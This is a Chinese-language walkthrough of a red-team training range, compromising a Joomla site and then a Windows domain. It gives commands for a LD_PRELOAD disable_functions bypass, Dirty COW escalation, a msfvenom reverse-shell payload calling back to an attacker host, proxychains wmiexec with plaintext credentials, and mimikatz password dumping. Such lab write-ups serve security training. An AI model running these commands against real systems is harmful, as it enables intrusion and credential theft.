透過以往文章的靶場二,學習了msf免殺上線繞過360、Access Token利用(MSSQL利用)、WMI利用、域漏洞利用、域控資訊收集和許可權維持(黃金票據利用)。靶場三為黑盒測試,不提供虛擬機器賬號密碼,目標是獲取域控的flag檔案,一起來看看如何去滲透吧。
0x00:環境搭建
ATT&CK實戰系列——紅隊實戰(三)是紅日安全團隊出品的一個實戰環境,該靶場模擬真實環境,是個黑盒測試,不提供虛擬機器密碼。目標是域控中存在一份重要檔案。具體的IP配置如下:
web-centos:192。168。93。100 外網:192。168。31。68
web-ubantu:192。168。93。120
win2012:192。168。93。10
win2008:192。168。93。20
win7:192。168。93。30
只有centos是雙網絡卡,其餘都是單網絡卡,將centos網絡卡eth0設定為自動獲取ip
0x01:漏洞利用
先對目標ip進行埠掃描發現目標主機開放了22、80、3306埠
訪問80埠的網頁,發現是用Joomla搭建的網站
先使用dirsearch掃一下目錄,發現了1。php是phpinfo檔案,Joomla後臺登入地址, 配置檔案洩漏了資料庫的賬號密碼
試試連線一下資料庫,成功登入資料庫,但是Joomla後臺登入的管理員密碼解密不出來。
Joomla官網有重置管理員密碼的操作,執行sql語句來新增一個管理員chan sectret
成功新增賬號後登入到後臺,透過修改模版來拿shell
訪問extensions-templates-templates-beez3,然後new file-新建檔案chan。php
使用蟻劍連線成功後,但是執行命令返回的是127
檢視1。php檔案的配置情況,服務端 disable_functions 禁用了命令執行函式,目標是Linux並且沒有禁用putenv函式,所以可以利用LD_PRELOAD繞過
這裡直接使用蟻劍的外掛,但是連線不上去(tmp目錄下成功上傳了。so檔案網站目錄也成功上傳了。antproxy。php檔案),不知道為什麼。
後面使用PHP7_GC_UAF模式成功執行命令
後面看見師傅用的另一種方法利用LD_PRELOAD繞過,用蟻劍bypass_diablefunc。php 和 bypass_diablefunc_x64。so 上傳到目標的同一目錄
注意 。so 檔案需要根據目標系統架構選擇,然後訪問bypass_diablefunc。php,cmd 是執行的命令,outpath是讀寫許可權的目錄,sopath是。so檔案的絕對路徑
http://192。168。31。168/templates/beez3/bypass_disablefunc。php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64。so
先進行一些基本的資訊收集,發現當前 ip為192。168。93。120並不是centos,核心是ubuntu說明真正的web服務後端在 ubuntu,透過centos做了個nginx反向代理解析到Ubuntu上。
翻下主機的檔案發現了/tmp/mysql/test。txt檔案存在賬戶密碼
使用ssh連線一下,成功連線,先看一下基本資訊
發現Centos核心版本在髒牛提權的範圍內,先嚐試一下sudo提權和suid提權,發現不行,使用髒牛提權,將dirty。c上傳到centos,使用命令gcc -pthread dirty。c -o dirty -lcrypt
切換到firefart使用者,提權成功
0x02:內網滲透
在kali上生成chan。elf,設定監聽,將elf檔案上傳到centos,執行後攻擊機成功獲得一個meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192。168。31。254 LPORT=4444 -f elf > /var/www/html/chan。elf
新增路由進行存活主機探測,或者使用ping命令
for k in $( seq 1 255);do ping -c 1 192。168。93。$k|grep “ttl”|awk -F “[ :]+” ‘{print $4}’; done
發現了三臺存活的TEST域的主機
使用msf自帶的模組進行埠掃描,發現三臺主機開放了135、445埠
使用msf自帶的ms17-010模組掃描一波,沒有發現漏洞
使用msf的模組進行爆破 我這裡沒有爆破成功,看到其他師傅爆破出來密碼是123qwe!ASD
使用爆破成功的密碼進行滲透,使用msf開個sock4正向代理,配合proxychains
使用wmicexec遠端連線這兩臺主機,先進行基本的資訊蒐集,ipconfig /all知道DNS伺服器即域控是192。68。93。10
proxychains python3 wmiexec。py -debug
‘administrator:123qwe!ASD@192。168。93。20’
proxychains python3 wmiexec。py -debug
‘administrator:123qwe!ASD@192。168。93。30’
在windows 2008主機上使用tasklist /v檢視程序發現TEST域程序域管理員,嘗試抓取其密碼
在kali上使用smbclient連線到windows 2008上傳mimikatz
wmiexec遠端執行mimikatz 成功得到抓取到域管理員密碼
mimikatz。exe “privilege::debug” “log” “sekurlsa::logonpasswords” “exit” > log。log
現在已經知道域控的賬號密碼了,同樣的方法使用wmiexec。py指令碼進行連線域控,找到flag檔案
0x03:總結
在搭建靶場時,環境遇到了問題,折騰了很久好在還是解決了。靶場大概情況為centos為出網機,web服務後端在 ubuntu,透過centos做了個nginx反向代理解析到Ubuntu上,域內有三臺Windows主機。滲透過程是透過配置檔案洩漏了資料庫賬號密碼,從而新增Joomla管理員進入後臺上傳shell,disable_function的繞過(這個姿勢學習到了),然後msf獲取一個meterpreter來進行內網滲透,最終拿下域控獲取flag。